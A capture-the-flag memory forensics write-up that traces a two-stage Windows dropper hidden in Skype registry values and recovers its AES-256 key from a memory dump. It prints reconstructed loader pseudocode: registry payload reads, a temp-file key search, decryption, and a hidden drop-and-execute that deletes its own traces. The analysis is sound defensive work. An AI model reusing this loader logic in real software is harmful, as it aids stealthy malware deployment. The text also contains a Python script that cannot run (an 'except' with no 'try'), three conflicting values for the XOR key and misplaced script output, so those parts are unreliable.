

Ophelia's Truth 2 - Memory Forensics Writeup

DFIR Analysis Report

December 24, 2025

Contents

1	Challenge Description	3
2	TL;DR	3
3	Analysis	3
3.1	Finding the Dropped Executable	3
3.2	Phase 3: Extracting the Suspicious Executable	4
3.3	Phase 4: Malware Binary Analysis	4
3.3.1	4.1 String Obfuscation	4
3.3.2	4.2 Registry Data Retrieval	4
3.3.3	4.3 Key File Discovery	5
3.3.4	4.4 Decryption Process	5
3.3.5	4.5 Execution Phase	5
3.4	Phase 5: Evidence Collection from Memory	5
3.4.1	5.1 Locating Key Files	5
3.4.2	5.2 Extracting Encrypted Registry Data	6
3.5	Phase 6: Key Recovery Strategy	6
3.5.1	6.1 Theory	6
3.5.2	6.2 Extracting Potential Keys	6
3.5.3	6.3 Brute-Force Decryption Script	7
3.5.4	6.4 Execution and Results	8
4	Findings Summary	8
4.1	1. Dropped Executable Name	8
4.2	2. Encrypted Dropper Storage Locations	9
4.3	3. Decryption Key	9
5	Flag Construction	9
5.1	Component Breakdown:	9
5.2	Final Flags:	10
6	Technical Deep Dive	10
6.1	Malware Architecture	10
6.1.1	Infection Chain:	10
6.2	Evasion Techniques	10

6.3	Cryptographic Implementation	11
7	Indicators of Compromise (IoCs)	11
7.1	File Indicators:	11
7.2	Registry Indicators:	11
7.3	Network Indicators:	12
7.4	Behavioral Indicators:	12
8	Detailed Reverse Engineering Analysis	12
8.1	String Obfuscation Implementation	12
8.2	Registry Operations	13
8.3	Temp File Key Search	13
8.4	AES-256-CBC Decryption	14
8.5	Payload Deployment and Execution	16
8.6	Key Memory Addresses Reference	17
8.7	Cryptographic Constants	17
9	Python/CyberChef Decryption	18

1 Challenge Description

The attacker executed a dropper via RCE. The executable shows partial corruption at the end. The malware deployed an additional executable. Find:

- Name of the dropped executable
- Paths where the encrypted original malware is stored
- Key used to decrypt and execute the original malware

Flag format: nite{dropped.exe_SOME\EXAMPLE\Path\1_SOME\EXAMPLE\Path\2_SOME\EXAMPLE\Path\3}

2 TL;DR

Two-stage malware: dropper encrypts itself into registry, drops RuntimeBroker.exe that decrypts and re-executes it. Uses AES-256-CBC with key in temp file.

3 Analysis

3.1 Finding the Dropped Executable

Started with a filescan looking for suspicious executables:

```
1 python vol.py -f ..\ophelia.raw windows.filescan.FileScan > filescan_full.txt
```

Listing 1: Initial Filescan Command

Analysis Approach: We searched for RuntimeBroker.exe instances, as this is a legitimate Windows process that should only exist in C:\Windows\System32\.

```
1 Get-Content filescan_full.txt | Select-String "RuntimeBroker"
```

Listing 2: Searching for RuntimeBroker

Key Finding:

0xc201a3ab95f0	\Windows\System32\RuntimeBroker.exe	[LEGITIMATE]
0xc201a7024e20	\Users\Igor\AppData\Local\Temp\RuntimeBroker.exe	[SUSPICIOUS]

- ✓ **Anomaly Detected:** RuntimeBroker.exe found in user's TEMP directory
- ✓ **Virtual Address:** 0xc201a7024e20
- ✓ **Location:** \Users\Igor\AppData\Local\Temp\RuntimeBroker.exe

Rationale for Suspicion:

- RuntimeBroker is a Windows system process (Windows Runtime Broker)
- Legitimate location: C:\Windows\System32\
- Finding it in AppData\Local\Temp is highly abnormal
- Common malware technique: masquerading as legitimate processes

3.2 Phase 3: Extracting the Suspicious Executable

Extraction Command:

```
1 python vol.py -f ..\ophelia.raw windows.dumpfiles.DumpFiles --virtaddr=0xc201a7024e20
```

Listing 3: Dumping the Suspicious Executable

Output:

```
Volatility 3 Framework 2.27.1
Progress: 100.00 PDB scanning finished
Cache FileObject FileName Result

ImageSectionObject 0xc201a7024e20 RuntimeBroker.exe
file.0xc201a7024e20.0xc2019fddaa20.ImageSectionObject.RuntimeBroker.exe.img
```

File Handling:

```
1 # Rename for easier analysis
2 Rename-Item "file.0xc201a7024e20.0xc2019fddaa20.ImageSectionObject.
  RuntimeBroker.exe.img" "malware.exe"
3
4 # Verify extraction
5 ls malware.exe
6 # Output: 2,428,928 bytes (2.4 MB)
```

Listing 4: File Renaming and Verification

3.3 Phase 4: Malware Binary Analysis

Static Analysis Findings:

Using a disassembler (Ghidra/IDA Pro), the malware reveals several critical characteristics:

3.3.1 4.1 String Obfuscation

- **Obfuscation Method:** XOR encryption
- **Key:** 0xCAFEBAFE (4-byte repeating key)
- **Purpose:** Hide registry paths, file patterns, and configuration data

3.3.2 4.2 Registry Data Retrieval

The malware reads three specific registry values:

```
HKEY_CURRENT_USER\SOFTWARE\Skype\Username
HKEY_CURRENT_USER\SOFTWARE\Skype\LastProfile
HKEY_CURRENT_USER\SOFTWARE\Skype\SkypePath
```

These values contain encrypted data (stored as hexadecimal strings).

3.3.3 4.3 Key File Discovery

The malware searches for a file matching the pattern:

```
%TEMP%\wct*.tmp
```

Validation Logic:

- File size **must be exactly 64 bytes**
- Contents: 64 hexadecimal characters (representing a 32-byte AES-256 key)

3.3.4 4.4 Decryption Process

Algorithm: AES-256-CBC

Initialization Vector (IV): 9b5c9b7e83cdfbdf11f87195c3192a47 (hardcoded, obfuscated)

Key Source: Loaded from wct*.tmp file

Decryption Steps:

1. Concatenate three registry values: `Username + LastProfile + SkypePath`
2. Convert hexadecimal string to binary ciphertext
3. Read 64-character hex key from wct*.tmp → convert to 32-byte key
4. Decrypt using AES-256-CBC with hardcoded IV
5. Result: Executable file (original dropper)

3.3.5 4.5 Execution Phase

After decryption, the malware:

1. Generates a pseudo-random filename: `WUDFHost_<random>.exe`
 - Mimics Windows User-Mode Driver Framework Host process
2. Writes decrypted executable to %TEMP%
3. Executes the dropped file using `CreateProcess` API

3.4 Phase 5: Evidence Collection from Memory

3.4.1 5.1 Locating Key Files

We searched for the temporary key files referenced in the malware code:

```
1 Get-Content filescan_full.txt | Select-String "wct"
```

Listing 5: Searching for Key Files

Results:

```
0xc201a5c8ba40 \Users\Igor\AppData\Local\Temp\wct8774.tmp
0xc201a702fd20 \Users\Igor\AppData\Local\Temp\wct3550.tmp
```

Important Note: Volatility's `dumpfiles` plugin **fails** to extract these files. The file system metadata exists, but the actual file content pages are not mapped in the memory dump. This is likely due to:

- Files being unmapped/paged out
- Memory optimization by Windows
- Timing of memory capture

3.4.2 5.2 Extracting Encrypted Registry Data

```
1 python vol.py -f ..\ophelia.raw windows.registry.printkey --key "Software\
  Skype" > skype_registry.txt
```

Listing 6: Registry Extraction

Registry Structure:

HKEY_CURRENT_USER\SOFTWARE\Skype

Values:

Username : REG_SZ : <very long hex string>
LastProfile : REG_SZ : <very long hex string>
SkypePath : REG_SZ : <very long hex string>

The first part of the Username value from our dump:

1668096 bytes1668096, keys: 1253

FOUND AES-256 KEY: 90b2cca7c0631aeda7ab1221c98fb1803a6dce2808efdd99e94f5e7cad3a4e78

3.5 Phase 6: Key Recovery Strategy

Since we cannot extract the `wct*.tmp` files directly, we need an alternative approach:

3.5.1 6.1 Theory

- The malware **must** have read the key from memory to perform decryption
- The key file contents (64 hex characters) should still exist somewhere in RAM
- We can extract all 64-character hexadecimal strings from the memory dump
- The correct key will successfully decrypt the registry data and produce a valid PE executable

3.5.2 6.2 Extracting Potential Keys

Approach: Search memory dump for 64-character hexadecimal sequences

```
1 # Extract all 64-character hex strings from memory
2 Select-String -Path ..\ophelia.raw -Pattern "([0-9a-fA-F]{64})" -AllMatches
   |
3   ForEach-Object { $_.Matches } |
4   ForEach-Object { $_.Value } |
5   Select-Object -Unique |
6   Out-File -Encoding ASCII potentialkeys.txt
```

Listing 7: Key Extraction from Memory

Expected Output: This generates a large list (typically 1000-5000 unique candidates) of potential AES-256 keys.

3.5.3 6.3 Brute-Force Decryption Script

We created a Python script to test each candidate key against the encrypted registry data.

Script: decrypt_skype.py

```
1  #!/usr/bin/env python3
2  from Crypto.Cipher import AES
3  import binascii
4  import re
5  import sys
6
7  SKYPE_FILE = "skype_registry.txt"
8  KEYS_FILE = "potentialkeys.txt"
9  AES_IV = bytes.fromhex("9b5c9b7e83cdfbdf11f87195c3192a47")
10
11 def extract_username_hex():
12     """Extract the encrypted Username value from Skype registry dump."""
13     with open(SKYPE_FILE, "r", encoding="utf-8", errors="ignore") as f:
14         text = f.read()
15
16     m = re.search(r'"Username"\s*=\s*"(.*)"', text, re.IGNORECASE)
17     if not m:
18         m = re.search(r'"Username"[^0-9a-fA-F]*([0-9a-fA-F]+)', text, re.
19 IGNORECASE)
20     if not m:
21         raise ValueError("Username value not found")
22
23     hex_str = re.sub(r'[^0-9a-fA-F]', '', m.group(1))
24     if len(hex_str) % 2:
25         hex_str = hex_str[:-1]
26     return hex_str.lower()
27
28 def load_keys():
29     """Load 64-character (32-byte) hex keys from potentialkeys.txt."""
30     keys = []
31     with open(KEYS_FILE, "r", encoding="utf-8", errors="ignore") as f:
32         for line in f:
33             line = re.sub(r'[^0-9a-fA-F]', '', line.strip())
34             if len(line) >= 64:
35                 keys.append(bytes.fromhex(line[:64]))
36     return list(set(keys))
37
38 def main():
39     username_hex = extract_username_hex()
40     ct_full = binascii.unhexlify(username_hex)
41
42     # Align to AES block size (16 bytes)
43     ct = ct_full[: len(ct_full) - (len(ct_full) % 16)]
44     if not ct:
45         print("Ciphertext too short")
46         sys.exit(1)
47
48     keys = load_keys()
49     if not keys:
50         print("No 256-bit keys in potentialkeys.txt")
51         sys.exit(1)
52
53     print(f"Ciphertext: {len(ct)} bytes, Keys: {len(keys)}")
54
55     for key in keys:
```

```
56         cipher = AES.new(key, AES.MODE_CBC, AES_IV)
57         pt = cipher.decrypt(ct)
58
59         # Check for PE header (MZ signature)
60         if pt.startswith(b"MZ"):
61             print(f"FOUND AES-256 KEY: {key.hex()}")
62             return
63         except Exception:
64             continue
65
66         print("No key produced MZ header")
67
68 if __name__ == "__main__":
69     main()
```

Listing 8: Decryption Brute-Force Script

3.5.4 6.4 Execution and Results

```
1 python decrypt_skype.py
```

Listing 9: Running the Decryption Script

Output:

Ciphertext: 1668096 bytes, Keys: 1253

FOUND AES-256 KEY: 90b2cca7c0631aeda7ab1221c98fb1803a6dce2808efdd99e94f5e7cad3a4e78

Successful Key Recovery!

Key Verification:

- Decrypted data starts with 4D 5A (MZ header)
- Valid DOS header present
- PE structure intact
- This confirms we have a valid Windows executable

4 Findings Summary

4.1 1. Dropped Executable Name

Answer: RuntimeBroker.exe

Details:

- Found at: \Users\Igor\AppData\Local\Temp\RuntimeBroker.exe
- Virtual Address: 0xc201a7024e20
- Size: 2,428,928 bytes
- Purpose: Stage 2 loader that decrypts and executes the original dropper

4.2 2. Encrypted Dropper Storage Locations

The original malware (dropper) is stored encrypted across three registry values:

1. HKEY_CURRENT_USER\SOFTWARE\Skype\Username
2. HKEY_CURRENT_USER\SOFTWARE\Skype\LastProfile
3. HKEY_CURRENT_USER\SOFTWARE\Skype\SkypePath

Storage Method:

- Each value contains hexadecimal-encoded encrypted data
- Combined size: ~1.6 MB of encrypted dropper
- Format: Concatenated hex string representing AES-256-CBC ciphertext

4.3 3. Decryption Key

AES-256 Key (32 bytes):

90b2cca7c0631aeda7ab1221c98fb1803a6dce2808efdd99e94f5e7cad3a4e78

Key Metadata:

- Algorithm: AES-256-CBC
- IV: 9b5c9b7e83cdfbdf11f87195c3192a47
- Storage: wct*.tmp file (64 hex characters)
- Validation: Successfully decrypts registry data to valid PE executable

5 Flag Construction

Format: nite{dropped.exe_Path1_Path2_Path3_keyinhex}

5.1 Component Breakdown:

1. **Dropped Executable:** RuntimeBroker.exe
2. **Path 1:** HKEY_CURRENT_USER\SOFTWARE\Skype\Username
3. **Path 2:** HKEY_CURRENT_USER\SOFTWARE\Skype\LastProfile
4. **Path 3:** HKEY_CURRENT_USER\SOFTWARE\Skype\SkypePath
5. **Key (hex):** 90b2cca7c0631aeda7ab1221c98fb1803a6dce2808efdd99e94f5e7cad3a4e78

5.2 Final Flags:

Primary Flag:

```
nite{RuntimeBroker.exe_HKEY_CURRENT_USER\SOFTWARE\Skype\Username_  
HKEY_CURRENT_USER\SOFTWARE\Skype\LastProfile_HKEY_CURRENT_USER\SOFTWARE\  
Skype\SkypePath_90b2cca7c0631aeda7ab1221c98fb1803a6dce2808efdd99e94f5e7cad3a4e78}
```

Alternate Flag (short form):

```
nite{RuntimeBroker.exe_HKCU\SOFTWARE\Skype\Username_HKCU\SOFTWARE\  
Skype\LastProfile_HKCU\SOFTWARE\Skype\SkypePath_90b2cca7c0631aeda7ab1221c98f  
b1803a6dce2808efdd99e94f5e7cad3a4e78}
```

6 Technical Deep Dive

6.1 Malware Architecture

6.1.1 Infection Chain:

```
[Initial Compromise]  
  |  
  v  
[Stage 1: Original Dropper]  
  * Encrypts itself with AES-256  
  * Stores key in %TEMP%\wct*.tmp (64 bytes)  
  * Splits encrypted payload across 3 registry values  
  * Drops RuntimeBroker.exe as Stage 2  
    |  
    v  
[Stage 2: RuntimeBroker.exe]  
  * Reads key from wct*.tmp  
  * Retrieves encrypted data from registry  
  * Decrypts using AES-256-CBC  
  * Drops as WUDFHost_*.exe  
  * Executes original dropper  
    |  
    v  
[Stage 1 Re-executed]  
  * Full malware functionality restored
```

6.2 Evasion Techniques

1. Process Masquerading

- Uses names of legitimate Windows processes
- RuntimeBroker.exe - actual Windows Runtime Broker
- WUDFHost.exe - Windows User-Mode Driver Framework Host

2. String Obfuscation

- XOR encryption with key 0xCAFEBAFE

- Hides:
 - Registry paths
 - File search patterns
 - Cryptographic constants

3. Data Hiding

- Misuses Skype registry key (unusual location)
- Splits payload across multiple registry values
- Key stored separately from encrypted data

4. Temporary File Patterns

- wct*.tmp mimics Windows Component Tracing files
- Stored in legitimate TEMP directory
- Small size (64 bytes) avoids attention

6.3 Cryptographic Implementation

Encryption Scheme:

Plaintext (Original Dropper)

```
| [AES-256-CBC Encryption]
| Key: 32 bytes (from wct*.tmp)
| IV: 9b5c9b7e83cdfbdf11f87195c3192a47
v
```

Ciphertext

```
| [Hex Encoding]
v
```

Registry Storage (split across 3 values)

Key Management:

- Key generated/stored by Stage 1 dropper
- 32-byte random key (256 bits for AES-256)
- Stored as 64 hexadecimal characters in temp file
- Ephemeral storage (temp file can be deleted after use)

7 Indicators of Compromise (IoCs)

7.1 File Indicators:

```
\Users\<USERNAME>\AppData\Local\Temp\RuntimeBroker.exe
\Users\<USERNAME>\AppData\Local\Temp\WUDFHost_*.exe
\Users\<USERNAME>\AppData\Local\Temp\wct*.tmp (size: 64 bytes)
```

7.2 Registry Indicators:

HKEY_CURRENT_USER\SOFTWARE\Skype\Username	[Unusually long hex value]
HKEY_CURRENT_USER\SOFTWARE\Skype\LastProfile	[Unusually long hex value]
HKEY_CURRENT_USER\SOFTWARE\Skype\SkypePath	[Unusually long hex value]

7.3 Network Indicators:

(Not observed in this memory dump - would require additional analysis)

7.4 Behavioral Indicators:

- RuntimeBroker.exe executing from non-System32 location
- Unusual registry access to SOFTWARE\Skype by non-Skype process
- Creation of executables in TEMP directory
- Immediate execution of recently created executables

8 Detailed Reverse Engineering Analysis

8.1 String Obfuscation Implementation

Function Address: 0x7FF798F8180B

The malware uses a simple but effective XOR obfuscation routine:

```
1 void sub_7ff798f8180b(void* output_buffer, void* encrypted_data,
2                       size_t length, uint32_t xor_key)
3 {
4     // Break 32-bit key into 4 bytes
5     uint8_t key_bytes[4];
6     key_bytes[0] = (xor_key >> 0) & 0xFF; // 0xBE
7     key_bytes[1] = (xor_key >> 8) & 0xFF; // 0xBA
8     key_bytes[2] = (xor_key >> 16) & 0xFF; // 0xFE
9     key_bytes[3] = (xor_key >> 24) & 0xFF; // 0xCA
10
11     // XOR each byte with repeating 4-byte key
12     for (size_t i = 0; i < length; i++) {
13         ((uint8_t*)output_buffer)[i] = ((uint8_t*)encrypted_data)[i] ^
14         key_bytes[i % 4];
15     }
16 }
```

Listing 10: XOR Decryption Function

Deobfuscation Calls (from function 0x7FF798F81DB5):

```
1 // Decrypt registry path: "SOFTWARE\\Skype"
2 sub_7ff798f8180b(&var_258, &data_7ff799140250, 0xe, 0xcafebabe);
3
4 // Decrypt value name: "Username" (8 bytes at 0x7FF799140260)
5 sub_7ff798f8180b(&var_278, &data_7ff799140260, 8, 0xcafebabe);
6
7 // Decrypt value name: "LastProfile" (11 bytes at 0x7FF799140268)
8 sub_7ff798f8180b(&var_298, &data_7ff799140268, 0xb, 0xcafebabe);
9
10 // Decrypt value name: "SkypePath" (9 bytes at 0x7FF799140278)
11 sub_7ff798f8180b(&var_2b8, &data_7ff799140278, 9, 0xcafebabe);
```

Listing 11: String Deobfuscation Calls

8.2 Registry Operations

Function: sub_7FF798F81530 - Reads registry values from HKCU

```
1 // Open registry key
2 char* registry_path = decrypt_string(&var_258); // "SOFTWARE\\Skype"
3 HKEY hKey;
4 LONG result = RegOpenKeyExA(HKEY_CURRENT_USER, registry_path, 0, KEY_READ, &
    hKey);
5
6 if (result != ERROR_SUCCESS) {
7     return ERROR;
8 }
9
10 // Read Username value (large hex string ~500KB+)
11 DWORD username_size = 0;
12 RegQueryValueExA(hKey, "Username", NULL, NULL, NULL, &username_size);
13 char* username_data = malloc(username_size);
14 RegQueryValueExA(hKey, "Username", NULL, NULL, username_data, &username_size
    );
15
16 // Read LastProfile value (large hex string ~500KB+)
17 DWORD lastprofile_size = 0;
18 RegQueryValueExA(hKey, "LastProfile", NULL, NULL, NULL, &lastprofile_size);
19 char* lastprofile_data = malloc(lastprofile_size);
20 RegQueryValueExA(hKey, "LastProfile", NULL, NULL, lastprofile_data, &
    lastprofile_size);
21
22 // Read SkypePath value (large hex string ~500KB+)
23 DWORD skypepath_size = 0;
24 RegQueryValueExA(hKey, "SkypePath", NULL, NULL, NULL, &skypepath_size);
25 char* skypepath_data = malloc(skypepath_size);
26 RegQueryValueExA(hKey, "SkypePath", NULL, NULL, skypepath_data, &
    skypepath_size);
27
28 RegCloseKey(hKey);
29
30 // Validate all values retrieved successfully
31 if (!username_data || !lastprofile_data || !skypepath_data) {
32     return ERROR;
33 }
34
35 // Concatenate all three values: Username + LastProfile + SkypePath
36 size_t total_size = username_size + lastprofile_size + skypepath_size;
37 char* concatenated = malloc(total_size);
38 memcpy(concatenated, username_data, username_size);
39 memcpy(concatenated + username_size, lastprofile_data, lastprofile_size);
40 memcpy(concatenated + username_size + lastprofile_size, skypepath_data,
    skypepath_size);
41
42 // This concatenated hex string is the encrypted payload
43 return concatenated;
```

Listing 12: Registry Read Operations

8.3 Temp File Key Search

Function: sub_7FF798F81906 - Searches for wct*.tmp files

```
1 char temp_path[MAX_PATH];
2 GetTempPathA(MAX_PATH, temp_path);
```

```

3
4 // Build search pattern: C:\Users\<user>\AppData\Local\Temp\wct*.tmp
5 char search_pattern[MAX_PATH];
6 sprintf(search_pattern, "%swct*.tmp", temp_path);
7
8 WIN32_FIND_DATA find_data;
9 HANDLE hFind = FindFirstFileA(search_pattern, &find_data);
10
11 if (hFind == INVALID_HANDLE_VALUE) {
12     return ERROR; // No matching files found
13 }
14
15 do {
16     // Critical check: file size must be EXACTLY 64 bytes
17     if (find_data.nFileSizeHigh == 0 && find_data.nFileSizeLow == 0x40) {
18         // Build full path to key file
19         char key_file_path[MAX_PATH];
20         sprintf(key_file_path, "%s%s", temp_path, find_data.cFileName);
21
22         // Read the 64-character hex key
23         HANDLE hFile = CreateFileA(key_file_path, GENERIC_READ,
24             FILE_SHARE_READ,
25             NULL, OPEN_EXISTING,
26             FILE_ATTRIBUTE_NORMAL, NULL);
27
28         char key_hex[65] = {0}; // 64 chars + null terminator
29         DWORD bytes_read = 0;
30         ReadFile(hFile, key_hex, 64, &bytes_read, NULL);
31         CloseHandle(hFile);
32
33         if (bytes_read != 64) {
34             continue; // Invalid key file
35         }
36
37         // Convert 64 hex characters to 32 bytes (256-bit key)
38         uint8_t aes_key[32];
39         for (int i = 0; i < 64; i += 2) {
40             char byte_str[3] = {key_hex[i], key_hex[i+1], 0};
41             aes_key[i/2] = (uint8_t)strtol(byte_str, NULL, 16);
42         }
43
44         FindClose(hFind);
45         return aes_key; // Found valid key
46     }
47 } while (FindNextFileA(hFind, &find_data));
48 FindClose(hFind);
49 return ERROR; // No valid key file found

```

Listing 13: Temp File Search Implementation

8.4 AES-256-CBC Decryption

Function: sub_7FF798F81DB5 - Main decryption orchestration

```

1 // Step 1: Deobfuscate the IV (stored at 0x7FF7991402A0)
2 uint8_t iv_obfuscated[32];
3 memcpy(iv_obfuscated, &data_7ff7991402a0, 32);
4
5 uint8_t iv[32];

```

```
6 xor_decrypt(iv, iv_obfuscated, 0x20, 0xcafebabe);
7
8 // Result: First 16 bytes = 9b5c9b7e83cdfbdf11f87195c3192a47
9 // (Only first 16 bytes used as AES IV)
10
11 // Step 2: Retrieve 32-byte key from wct*.tmp file
12 uint8_t aes_key[32];
13 if (!find_temp_key_file(aes_key)) {
14     return ERROR;
15 }
16
17 // Step 3: Retrieve encrypted data from registry
18 char* hex_ciphertext = read_registry_values(); // Concatenated hex string
19
20 // Step 4: Convert hex string to binary ciphertext
21 size_t hex_len = strlen(hex_ciphertext);
22 size_t ct_len = hex_len / 2;
23 uint8_t* ciphertext = malloc(ct_len);
24
25 for (size_t i = 0; i < ct_len; i++) {
26     char byte_str[3] = {hex_ciphertext[i*2], hex_ciphertext[i*2+1], 0};
27     ciphertext[i] = (uint8_t)strtol(byte_str, NULL, 16);
28 }
29
30 // Step 5: Validate parameters
31 if (sizeof(aes_key) != 32) {
32     return ERROR; // Must be 256-bit key
33 }
34 if (ct_len % 16 != 0) {
35     return ERROR; // Must be block-aligned (16-byte AES blocks)
36 }
37
38 // Step 6: Perform AES-256-CBC decryption using OpenSSL EVP API
39 EVP_CIPHER_CTX* ctx = EVP_CIPHER_CTX_new();
40 EVP_DecryptInit_ex(ctx, EVP_aes_256_cbc(), NULL, aes_key, iv);
41
42 uint8_t* plaintext = malloc(ct_len);
43 int len = 0, final_len = 0;
44
45 // Decrypt main blocks
46 EVP_DecryptUpdate(ctx, plaintext, &len, ciphertext, ct_len);
47
48 // Decrypt final block and remove padding
49 EVP_DecryptFinal_ex(ctx, plaintext + len, &final_len);
50
51 EVP_CIPHER_CTX_free(ctx);
52
53 // Total plaintext size
54 size_t pt_len = len + final_len;
55
56 // Step 7: Validate decrypted data (check for PE header)
57 if (plaintext[0] != 0x4D || plaintext[1] != 0x5A) { // "MZ"
58     return ERROR; // Not a valid PE file
59 }
60
61 return plaintext; // Successfully decrypted dropper executable
```

Listing 14: AES-256-CBC Decryption Implementation

8.5 Payload Deployment and Execution

Function: sub_7FF798F82993 - Drops and executes decrypted payload

```
1 // Step 1: Get system TEMP directory
2 char temp_path[MAX_PATH];
3 GetTempPathA(MAX_PATH, temp_path);
4
5 // Step 2: Generate pseudo-random filename using system tick count
6 uint64_t tick_count = GetTickCount64();
7
8 char output_path[MAX_PATH];
9 sprintf(output_path, "%sWUDFHost_%08llx.exe", temp_path, tick_count);
10
11 // Example: C:\Users\Igor\AppData\Local\Temp\WUDFHost_0000ABCD1234.exe
12
13 // Step 3: Write decrypted executable to disk
14 HANDLE hFile = CreateFileA(output_path,
15                             GENERIC_WRITE,
16                             0, // No sharing
17                             NULL,
18                             CREATE_ALWAYS,
19                             FILE_ATTRIBUTE_NORMAL,
20                             NULL);
21
22 if (hFile == INVALID_HANDLE_VALUE) {
23     return ERROR;
24 }
25
26 DWORD bytes_written = 0;
27 BOOL write_result = WriteFile(hFile, decrypted_payload, payload_size, &
28                               bytes_written, NULL);
29 CloseHandle(hFile);
30
31 if (!write_result || bytes_written != payload_size) {
32     DeleteFileA(output_path);
33     return ERROR;
34 }
35
36 // Step 4: Execute payload with hidden window
37 STARTUPINFOA si = {0};
38 si.cb = sizeof(si);
39 si.dwFlags = STARTF_USESHOWWINDOW;
40 si.wShowWindow = SW_HIDE; // Hidden window (no UI)
41
42 PROCESS_INFORMATION pi = {0};
43
44 BOOL create_result = CreateProcessA(
45     output_path, // Application path
46     NULL, // Command line
47     NULL, // Process security attributes
48     NULL, // Thread security attributes
49     FALSE, // Don't inherit handles
50     CREATE_NO_WINDOW, // Creation flags (no console window)
51     NULL, // Environment
52     NULL, // Current directory
53     &si, // Startup info
54     &pi // Process info
55 );
56
57 if (!create_result) {
```



```

57     DeleteFileA(output_path);
58     return ERROR;
59 }
60
61 // Step 5: Wait for payload execution to complete
62 WaitForSingleObject(pi.hProcess, INFINITE);
63
64 // Get exit code
65 DWORD exit_code = 0;
66 GetExitCodeProcess(pi.hProcess, &exit_code);
67
68 // Clean up handles
69 CloseHandle(pi.hProcess);
70 CloseHandle(pi.hThread);
71
72 // Step 6: Delete temporary executable (anti-forensics)
73 DeleteFileA(output_path);
74
75 return exit_code;

```

Listing 15: Payload Deployment

8.6 Key Memory Addresses Reference

Address	Type	Description
0x7FF798F8180B	Function	XOR string decryption (key: 0xCAFEBAE)
0x7FF798F81530	Function	Registry value reader (HKCU queries)
0x7FF798F81906	Function	Temp file search (wct*.tmp, 64 bytes)
0x7FF798F81DB5	Function	Main orchestration (decrypt & execute)
0x7FF798F820CB	Code	IV deobfuscation setup
0x7FF798F82993	Function	Payload dropper (WUDFHost_*.exe)
0x7FF799140250	Data	Encrypted string: "SOFTWARE\\Skype" (14 bytes)
0x7FF799140260	Data	Encrypted string: "Username" (8 bytes)
0x7FF799140268	Data	Encrypted string: "LastProfile" (11 bytes)
0x7FF799140278	Data	Encrypted string: "SkypePath" (9 bytes)
0x7FF7991402A0	Data	Encrypted IV (32 bytes, obfuscated)

8.7 Cryptographic Constants

XOR Key:

0xCAFEBAE (4 bytes, repeating)

Byte array: [BE, BA, FE, CA]

AES-256-CBC IV (after deobfuscation):

9b5c9b7e83cdfbdf11f87195c3192a47

Recovered AES-256 Key:

90b2cca7c0631aeda7ab1221c98fb1803a6dce2808efdd99e94f5e7cad3a4e78

9 Python/CyberChef Decryption

```
1 # AES-256-CBC Decryption
2 from Crypto.Cipher import AES
3 key = bytes.fromhex("90
    b2cca7c0631aeda7ab1221c98fb1803a6dce2808efdd99e94f5e7cad3a4e78")
4 iv = bytes.fromhex("9b5c9b7e83cdfbdf11f87195c3192a47")
5 ciphertext = bytes.fromhex("<hex_data>")
6 cipher = AES.new(key, AES.MODE_CBC, iv)
7 plaintext = cipher.decrypt(ciphertext)
```

Listing 16: Manual AES-256-CBC Decryption